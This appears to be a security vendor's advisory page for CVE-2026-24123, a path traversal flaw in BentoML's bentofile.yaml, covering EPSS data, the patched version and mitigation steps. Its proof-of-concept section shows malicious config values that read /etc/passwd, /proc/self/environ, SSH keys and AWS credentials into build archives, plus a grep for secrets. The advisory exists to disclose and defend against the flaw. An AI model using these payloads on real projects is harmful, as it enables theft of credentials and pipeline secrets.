Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-24123 bentoml

HIGHFix: bentoml/BentoML@84d08cf

CVE-2026-24123 is a high-severity (CVSS 7.4) Path Traversal vulnerability in bentoml. A fix is available for bentoml — see the affected versions and patch details below.

BentoML has a Path Traversal via Bentofile Configuration

Also known asGHSA-6r62-w2q3-48hfPYSEC-2026-1218
Published
Jan 26, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24123.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs39th percentile — riskier than 39% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-24123 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍bentoml

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:

def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
    _path = os.path.expanduser(os.path.expandvars(filepath))
    if not os.path.isabs(_path) and ctx:
        _path = os.path.expanduser(os.path.join(ctx, filepath))
    if os.path.exists(_path):
        return os.path.realpath(_path)  # No path containment check
    raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:

if build_config.description.startswith("file:"):
    file_name = build_config.description[5:].strip()
    if not ctx_path.joinpath(file_name).exists():
        raise InvalidArgument(f"File {file_name} does not exist.")
    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal

All four vulnerable fields:

  • description: "file:../../../etc/passwd" → copied to README.md
  • docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script
  • docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template
  • conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

Formatdescriptionsetup_scriptdockerfile_templateenvironment_yml
Absolute paths (/etc/passwd)YesYesYesYes
Tilde expansion (~/.ssh/id_rsa)NoYesYesYes
Env vars ($HOME/.aws/credentials)NoYesYesYes
Relative traversal (../../../etc/passwd)YesYesYesYes
Proc filesystem (/proc/self/environ)YesYesYesYes

The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).

PoC

  1. Create a minimal service:
# service.py
import bentoml

@bentoml.service
class TestService:
    @bentoml.api
    def predict(self, text: str) -> str:
        return text
  1. Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field

service: "service.py:TestService"
description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets)

service: "service.py:TestService"
description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "~/.ssh/id_rsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.

  1. Run build:
$ bentoml build
Successfully built Bento(tag="test_service:abc123").
  1. Verify exfiltration:
# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...

# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...

The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.

Impact

Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).

Attack scenarios:

  • Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated
  • CI/CD environment variable theft: Using file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets.
  • BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.
  • Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIbentomlall versions1.4.34pip install --upgrade 'bentoml==1.4.34'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update bentoml to 1.4.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24123 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24123 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-24123. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary BentoML's `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. ### Details The vulnerability exists in how BentoML r
O3 Security · Impact-Aware SCA

Is CVE-2026-24123 in your dependencies?

O3 Security finds CVE-2026-24123 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-24123: bentoml (High 7.4) | O3 Security